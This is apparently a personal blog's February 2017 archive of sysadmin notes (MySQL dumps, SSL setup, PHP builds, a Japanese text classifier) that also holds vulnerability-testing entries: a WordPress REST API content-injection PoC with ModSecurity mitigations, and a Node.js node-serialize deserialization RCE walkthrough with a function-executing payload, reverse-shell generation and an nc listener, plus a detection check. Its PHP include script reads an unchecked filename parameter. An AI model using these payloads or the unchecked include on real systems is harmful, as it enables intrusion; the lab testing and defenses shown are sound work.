February 2017 Archives

Dumping table data of mysql

gamzatti
Vote 0 Votes

Export data:

mysqldump -u username -p -t databasename table1 table2 --where id=1 > dump.sql

Import data:

mysql -uUsername -pPassword databasename

Immediately-invoked function expression


Immediately-invoked function expression (IIFE) is a JavaScript idiom 
which enables immediate execution of fuction just after its definition.


https://en.wikipedia.org/wiki/Immediately-invoked_function_expression


I've just gotten the information of IIEF through vulnerability testing for Node.js 
discribed as follwing.


http://www.reverse-edge.com/mt/know-how/2017/02/entry.html


It is called "即時関数" in Japanese.


http://qiita.com/katsukii/items/cfe9fd968ba0db603b1e


We can define IIEF function by adding "()" after function definition.


- Test for IIFE vs normal function


Sample:


---------------

console.log("---IIFE test---");
var n = 1;
var iife = (function(x) {
    console.log("IIFE executed!n=:"+x);
    return x;
})(n);
n = 999;
console.log("n:"+n);

console.log("---Normal function test---");
var m=1;
myObj = new Object();
myObj.normalFunc = function(x){
	console.log("normalFunc executed!m=:"+x);
	return x;
}
m=999;
console.log("m:"+m);
myObj.normalFunc(m);


---------------


Result:


---IIFE test---

IIFE executed!n=:1
n:999


---Normal function test---

m:999
normalFunc executed!m=:999


-------------


As you can see, IIEF function is executed automatically just after its definition 
whereas normal function should be called explicatly.
It's some convenient feature, however it can read to security problems 
if we use it without security consideration.

Some serialize modules enable including IIEF function in JSON.


http://www.reverse-edge.com/mt/know-how/2017/02/entry.html



- Unserialize test for IIFE vs normal function

Refer the following article.


http://www.reverse-edge.com/mt/know-how/2017/02/entry.html

機械学習


http://qiita.com/yasunori/items/31a23eb259482e4824e2
https://github.com/yasunori/Random-Forest-Example


http://qiita.com/katsuyuki/items/65f79d44f5e9a0397d31


- 必要なソフトのインストール- ------

Mecab本体
wget -O mecab-0.996.tar.gz
"https://drive.google.com/uc?export=download&id=0B4y35FiV1wh7cENtOXlicTFaRUE"
cd mecab-0.996/
./configure --with-charset=utf8 --enable-utf8-only
make
make install

辞書
wget -O mecab-ipadic-2.7.0-20070801.tar.gz 
"https://drive.google.com/uc?export=download&id=0B4y35FiV1wh7MWVlSDBCSXZMTXM"
cd mecab-ipadic-2.7.0-20070801
./configure --with-charset=utf8
make
make install

Mecab python API
pip install mecab-python3

gensim
pip install --upgrade gensim

共有ライブラリにパスが通っていないので、通す。
echo /usr/local/lib > /etc/ld.so.conf.d/custom.conf

これで読み込む
ldconfig

http://www.rondhuit.com/download.html#ldcc

から記事ファイルを取ってきて解凍する


- 辞書の読み込みと学習- ------

# -*- coding: utf-8 -*-
from sklearn.ensemble import RandomForestClassifier
from sklearn.cross_validation import train_test_split
from sklearn.grid_search import GridSearchCV
from sklearn.metrics import classification_report
import corpus
from gensim import corpora

def main():
    # 辞書の読み込み
    dictionary = corpora.Dictionary.load_from_text('livedoordic.txt')
    #dictionary = corpus.get_dictionary(create_flg=False)
    # 記事の読み込み
    contents = corpus.get_contents()

辞書ファイルが重要。今回は
livedoordic.txt
というファイル。
これを読み込みできている前提にする。

   # 特徴抽出
    data_train = []
    label_train = []
    for file_name, content in contents.items():
        data_train.append(corpus.get_vector(dictionary, content))
        label_train.append(corpus.get_class_id(file_name))

   # 分類器
    estimator = RandomForestClassifier()

   # 学習
    estimator.fit(data_train, label_train)

   # 学習したデータを予測にかけてみる(ズルなので正答率高くないとおかしい)
    #print("==== 学習データと予測データが一緒の場合")
    #print(estimator.score(data_train, label_train))

   # 学習データと試験データに分けてみる
    data_train_s, data_test_s, label_train_s, label_test_s = train_test_split(data_train, label_train, test_size=0.4)

   # 分類器をもう一度定義
    estimator = RandomForestClassifier()

   # 学習
    estimator.fit(data_train_s, label_train_s)
    print("==== 学習データと予測データが違う場合")
    print(estimator2.score(data_test_s, label_test_s))



- 分類させてみる- ------



# -*- coding: utf-8 -*-
import MeCab
mecab = MeCab.Tagger('mecabrc')


def tokenize(text):
    '''
    とりあえず形態素解析して名詞だけ取り出す感じにしてる
    '''
    node = mecab.parseToNode(text)
    while node:
        if node.feature.split(',')[0] == '名詞':
            yield node.surface.lower()
        node = node.next


def get_words(contents):
    '''
    記事群のdictについて、形態素解析してリストにして返す
    '''
    ret = []
    for k, content in contents.items():
        ret.append(get_words_main(content))
    return ret


def get_words_main(content):
    '''
    一つの記事を形態素解析して返す
    '''
    return [token for token in tokenize(content)]


# 2記事の一部だけ取り出しました
# 1つめがITライフハック、2つめが独女通信の記事です。
if __name__ == '__main__':
        words = get_words({'movie-enter-6149578.txt': '緻密なアニメーションによって悪目立ちする、主人公の浅さと短絡的な展開。『秒速5センチメートル』や『言の葉の庭』など、美しいアニメ作品で知られる新海誠監督の最新作『君の名は。』が、国内の興行収入で100億円を突破するという快挙を成し遂げた。メディアや大衆から絶賛を受け続けている本作は、確かに魅力的な作品である。しかし、筆者にはどうも腑に落ちない点が散見された。今回はネタバレにならない範囲で、本作が孕む問題に迫ってみる。...........途中省略...............これまでと同様、新海監督は、実に美しいアニメーションを紡いだ。キャラクターから細やかな背景に至るまで、その美しさは日本アニメ史上屈指のレベルと言えるだろう。これは否定しようがない。興行収入100億円超えも、実に立派である。しかし、主人公のキャラ付けの浅さと、結末に至るまでの描写不足という作品の瑕疵は、看過されるべきではない。新海監督は、もっと上のレベルに行けるはずである。本作が、彼のキャリアにおける最高傑作にならないことを期待したい。'})
    print(words)


これでwordsオブジェクトを作成できた。

from gensim import corpora, matutils
# dictionary は既に作成済みとして......
tmp = dictionary.doc2bow(words[0])
dense = list(matutils.corpus2dense([tmp], num_terms=len(dictionary)).T[0])
print(dense)

で、頻度のリストが作成される。


label_predict = estimator.predict(dense)
print(label_predict)
Qiita
scikit-learnとgensimでニュース記事を分類する - Qiita
こんにちは、初心者です。 適当なニュース記事があったとして、ニュースのカテゴリを推測するみたいな、よくあるやつをやってみました。Python3.3を使いました。 ## 何をやるの? データセットはlivedoorニュースコーパス...
 


https://github.com/yasunori/Random-Forest-Example

How to include php into shtml using SSI



http://www.atmarkit.co.jp/ait/articles/0107/17/news003.html



- Create shtml

# cat ssi.shtml 
<html>
<body>
<!--#include virtual="/mt/know-how/importTXTCustom.php" -->
</body>
</html>

Notice:
	Full path include is not allowed in my server environment(sakura VPS).
	(Probably it depends on server setting.)
	I got the following error message:


------

		[include:error] [pid 10666] [client 101.111.243.105:54515] unable to include "/opt/rh/httpd24/root/var/www/html/mt/know-how/blog.php" in parsed file /opt/rh/httpd24/root/var/www/html/path/ssi.shtml, subrequest returned 404


------


You Can also use parameter as followings:
<!--#include virtual="/mt/know-how/importTXTCustom.php?filename=SSI.txt" -->


- Create php included by shtml

# cat /opt/rh/httpd24/root/var/www/html/mt/know-how/importTXTCustom.php



<?php

if (isset($_GET['filename'])) {

$filename=$_GET['filename'];

} else if(isset($argv[1])) {

$filename=$argv[1];

} else{

echo 'Please specify filename using "?filename={filename}"';

}

$filepath='/opt/rh/httpd24/root/var/www/html/mt/know-how/'.$filename;

//echo 'filepath:'.$filepath;

$fp = fopen($filepath, "r");

$i=0;

while ( $line = fgets( $fp ) ) {

$line = htmlspecialchars($line);

// title

if ($i==0) {

$line = "<h1>".$line."</h1>";

echo nl2br("\n");

}

// Sub title

else if (preg_match('{^-}',ltrim($line), $matches)) {

$line = "<b>".$line."</b>";

echo nl2br("\n");

}

// Other

else {

// Link

if (preg_match('{(http|https)://}',ltrim($line), $matches)) {

$line = '<a href="'.$line.'" target="blank">'.$line.'</a>';

echo nl2br("\n");

}

// normal sentense

else{

$line = "<pre>".$line."</pre>";

}

}

echo $line;

$i++;

}

fclose($fp);

?>


- Enable SSI in httpd.conf
-----

<Directory "/opt/rh/httpd24/root/var/www/html/path">
Options +Includes
</Directory>


-----


Add following settings in <IfModule mime_module>


-----

AddType text/html .shtml
AddHandler server-parsed .shtml


-----


Restart httpd


- Access shtml, then included php code is executed by SSI.
https://www.reverse-edge.com/path/ssi.shtml

Vulnerability test for WordPress


https://www.jpcert.or.jp/english/at/2017/at170006.html


PoC

------

POST /wordpress/wp-json/wp/v2/posts/1?id=1abc HTTP/1.1
Host: localhost
Content-Type: application/json; charaset=UTF-8
Content-Length: 56

{"title": "title", "content": "content"}


------



curl -X POST -H "Content-Type: Application/json" -d '{"title":"API","content":"sample"}' http://localhost/wordpress471/wp-json/wp/v2/posts/1?id=1A




- Normal REST API use


We can post blog as following:
(In order to use REST API, we need to install Application Passwords plugin, and set temporary password for application.)


------

POST /$WP_HOME/wp-json/wp/v2/posts/1/ HTTP/1.1
Authorization: Basic {base64encoded ID:Pass}
User-Agent: curl/7.29.0
Host: localhost
Accept: */*
Content-Type: Application/json
Content-Length: 53
Connection: close

{"title":"API","content":"sample","status":"publish"}


------



curl -X POST --user "admin:uktU lOA7 wIMn OBZc" -H "Content-Type: Application/json" -d '{"title":"API","content":"samublish"}' http://localhost/$WP_HOME/wp-json/wp/v2/posts/1/



http://www.tam-tam.co.jp/tipsnote/cms/post10274.html
https://developer.wordpress.org/rest-api/reference/posts/#create-a-post




- Mitigations



- Restrict URL of REST API


Configuration example for Apache.
Add the following setting to httpd.conf :

<Location "/$WP_HOME/wp-json">
  Order deny,allow
  Deny from all
  Allow from 127.0.0.1
</Location>

Notice:
Location and LocationMatch cannnot be defined in .htaccess.
They can be defined only in server config file such as httpd.conf.


http://httpd.apache.org/docs/current/mod/core.html#location
http://httpd.apache.org/docs/current/mod/directive-dict.html#Context

 


- Deny requests containing malicious payload using WAF

 
 Rule example for mod security
SecRule REQUEST_URI "/wp-json/wp/v2/posts/[0-9]+\?id=" "id:001,phase:2,t:none,log,deny,msg:attack"
 
 From modsec_audit.log:


-----------

 POST /$WP_HOME/wp-json/wp/v2/posts/1?id=1abc HTTP/1.1
Host: localhost
Content-Type: application/json; charaset=UTF-8
Content-Length: 54

{"title": "PPAP", "content": "I have a pen!!!!"}^M

HTTP/1.1 403 Forbidden
Message: Access denied with code 403 (phase 2). Pattern match "/wp-json/wp/v2/posts/[0-9]+\\?id=" at REQUEST_URI. [file "/etc/httpd/modsecurity.d/activated_rules/wprestapi_rule.conf"] [line "1"] [id "001"] [msg "attack"]


-----------

 

        

About OpenSSL

gamzatti
Vote 0 Votes

About OpenSSL



- Default version of OpenSSL distributed by each major OS:

Cent7: openssl-1.0.1e-42.el7.9.x86_64
Cent6: openssl-1.0.1e
Ubuntu 16 : 1.0.2g-1ubuntu4.5
Ubuntu 14 : 1.0.1f
debian 8: 1.01t
debian 9 (stretch)    1.1.0d-2


- Installation of OpenSSL

(testing in Ubuntu)


http://www.openssl.org/source/


Remove default pkg.
dpkg --purge openssl
rm -rf /etc/ssl/
apt-get remove libgnutls-openssl27
dpkg -l | grep openssl

Install desired ver.
./config 
make
make install
export LD_LIBRARY_PATH=/usr/local/lib/


- Launch openssl client

openssl s_client -connect IP:443

Implementation of SSL

gamzatti
Vote 0 Votes

How to implement SSL

I've implemented ssl for my web site using Let's encrypt.

Gamzatti's SSL site
  • Install httpd24
  • yum経由でApache2.4 をインストールしてPHP5.6を動かすまで
    - Install httpd24 in CentOS 6
      Install dirs are followings.
      /opt/rh/httpd24/
      /etc/httpd24
    
  • Install mod ssl
  • SSL の設定
    yum install httpd24-mod_ssl.x86_64
    
  • Create SSL certificate using Let's encrypt
  • CentOS 6.7でLet's Encrypt !!
    - Stop httpd
    /etc/rc.d/init.d/httpd24-httpd stop
    
    - Create SSL certificate using Let's encrypt
     /var/tmp/ssl/letsencrypt
     ./letsencrypt-auto certonly -a standalone -d www.reverse-edge.com
    
     SSL certificate files  are created the following directory.
     /etc/letsencrypt/live/www.reverse-edge.com/
    
    - Setting ssl.conf
    DocumentRoot "/opt/rh/httpd24/root/var/www/html"
    ServerName www.reverse-edge.com:443
    SSLProtocol all -SSLv2 -SSLv3
    SSLCertificateFile /etc/letsencrypt/live/www.reverse-edge.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/www.reverse-edge.com/privkey.pem
    
    - Start httpd
    
    CentOS7 + php 5.6.30 + httpd 2.4 でphpをソースからインストール
    参考にしたページ
    Cent6の手順はこちら
  • phpインストール
  • yum install httpd-devel
    yum install libxml2-devel
    
    # which apxs
    /usr/bin/apxs
    
    ./configure --with-apxs2=/usr/bin/apxs
    make
    make install
    
  • apache設定
  • /etc/httpd/conf/httpd.conf
    以下はもともと有効
    LoadModule php5_module        /usr/lib64/httpd/modules/libphp5.so
    
    末尾に以下を追記
    
        SetHandler application/x-httpd-php
    
    
    /usr/local/lib/php.ini 
    short_open_tag = On
    
    systemctl restart httpd
    
    [root@websv html]# httpd -v
    Server version: Apache/2.4.6 (CentOS)
    Server built:   Nov 14 2016 18:04:44
    [root@websv html]# php -v
    PHP 5.6.30 (cli) (built: Jan 21 2017 15:20:35) 
    
    CentOS6 + php 5.6.30 + httpd 2.4 でphpをソースからインストール
    参考にしたページ
  • httpdインストール
  • httpdはcent6 用のhttpd24パッケージを入れた。
    インストール先は/opt/rh/httpd24/
    yum install httpd24-httpd-devel
    
    以下に基づいてシンボリックリンク作成
    http://serverfault.com/questions/646873/how-to-configure-lib-path-for-apache-utilities
    cd /
    ln -s /opt/rh/httpd24/root/usr/lib64/httpd .
    
    
  • phpインストール
  • 必要なモジュールインストール
    yum install libxml2-devel
    phpをソースからビルド
    ./configure --with-apxs2=/opt/rh/httpd24/root/usr/bin/apxs
    make
    make install
    make installでエラー発生
    Installing PHP SAPI module:       apache2handler
    /httpd/build/instdso.sh SH_LIBTOOL='/apr-1/build/libtool' libphp5.la /opt/rh/httpd24/root/usr/lib64/httpd/modules
    /apr-1/build/libtool --mode=install install libphp5.la /opt/rh/httpd24/root/usr/lib64/httpd/modules/
    /httpd/build/instdso.sh: line 63: /apr-1/build/libtool: そのようなファイルやディレクトリはありません
    apxs:Error: Command failed with rc=8323072
    
    シンボリックリンクを貼ってからmake installしたら、解決
     ln -s /usr/bin/libtool /apr-1/build/libtool
    
    [root@gamzatti php-5.6.30]# which php
    /usr/local/bin/php
    [root@gamzatti php-5.6.30]# php -v
    PHP 5.6.30 (cli) (built: Jan 28 2017 21:46:29) 
    

    Installation of Movable Type

    gamzatti
    Vote 0 Votes
    Movable Type導入メモ

    参考にしたページ CentOS6にMovableTypeを導入してみました

  • CPANインストール
  • さくらvpsの設定自分メモ - さくらVPSのCentOSにCpan入れる CentOSで初めてのCPANモジュールインストール
    上記を参考にインストール
    yum install perl-CPAN
    
  • Movable Typeインストールチェック
  • http://www.reverse-edge.com/cgi-bin/mt/mt-check.cgi
    の結果に基づいて、必要なモジュールをインストール
    
    install DBD::mysql
    mysql_configがないというエラーが出たので、mysql-develインストール
    yum install --enablerepo mysql56-community  mysql-devel
    再度DBD::mysqlをインストールしたら成功
     
  • mt-config.cgiの設定
  • DB設定
  • mysql> create database mt;
    mysql> grant all on mt.* to mt@localhost identified by 'xxx';
    
  • Movable Typeインストール
  • 以下にアクセスし、インストール
    http://www.reverse-edge.com/cgi-bin/mt/mt.cgi
    
  • ユーザ作成
  • imagemagickインストール
  • yum install ImageMagick-perl
    
  • サイト、ブログ、エントリなどを作成
  • Node.js CVE-2017-5941

    gamzatti
    Vote 0 Votes

    Vulnerability test of Node.js

    Exploiting Node.js deserialization bug for Remote Code Execution(CVE-2017-5941)
  • Usage of node-serialize.unserialize()
  • Object is serialized as JSON format.
    node-serialize(IIFE)
    -----------
    var serialize = require('node-serialize');
    var obj = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'exploited\')}()"}';
    var objS = serialize.unserialize(obj);
    typeof objS === 'string';
    console.log(objS);
    ----------------
    result:
    exploited
    { rce: [Function] }
    

    node-serialize(non IIFE)
    var serialize = require('node-serialize');
    var obj = '{"rce":"_$$ND_FUNC$$_function () {console.log(\'exploited\')}"}';
    var objS = serialize.unserialize(obj);
    objS.rce();
    typeof objS === 'string';
    console.log(objS);
    ----------------
    result:
    { rce: [Function] }
    --> function is not executed without "objS.rce();"
    
  • Exploiting CVE-2017-5941
  • exploit payload:
    =====
    GET / HTTP/1.1
    Host: localhost:3000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Cookie: profile=eyJyY{omitted}9Cg==
    Connection: close
    If-None-Match: W/"a-oL/mTlWw0eWc0S2LtoyC/g"
    Cache-Control: max-age=0
    =====
    
    Decoded payload:
    
    {"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,
    {omitted},84,41,59,10))}()"}
    
    c.f. Normal payload
    
    ===
    GET / HTTP/1.1
    Host: localhost:3000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Cookie: profile={base64 encoded strings}
    Connection: close
    If-None-Match: W/"a-oL/mTlWw0eWc0S2LtoyC/g"
    Cache-Control: max-age=0
    ====
    
    {"username":"ajin","country":"india","city":"bangalore"}
    
  • Verify for detection
    If decorded strings contains "eval(" or "()", issue alert and exit.
    
    ----
       var str = new Buffer(req.cookies.profile, 'base64').toString();
       if ( str.match(/eval\(|\(\)/)) {
          console.log("exploit payload detected!!!");
          res.send("Server error");
          return;
       }
       var obj = serialize.unserialize(str);
    ----
    
  • Installation of Node.js
  •  - Download  binary from official page
    
     - Copy binary to /usr/local
    
     - Set environment val
       export NODE_PATH=/usr/local/lib/node_modules
    
     - Install required module
       npm install -g {modulename}
       npm install -g node-serialize
    
       Installed modules can be listed with:
       npm list --depth=0 -g
    
     - Launch node.js application
       node xx.js
    
  • Prepare for exploit
  • Node.Js-Security-Course
    - Launch test application
     node deserialization.js
    
    - Create payload
     python nodejsshell.py 127.0.0.1 1337
    
    - Encode payload with base64
     base64 payload.txt | tr -d '\n'
    
    - Launch nc for listening reverse shell
      nc -l 127.0.0.1 1337
    
    - Exploit using burp
    
    

    About this Archive

    This page is an archive of entries from February 2017 listed from newest to oldest.

    March 2017 is the next archive.

    Find recent content on the main index or look in the archives to find all content.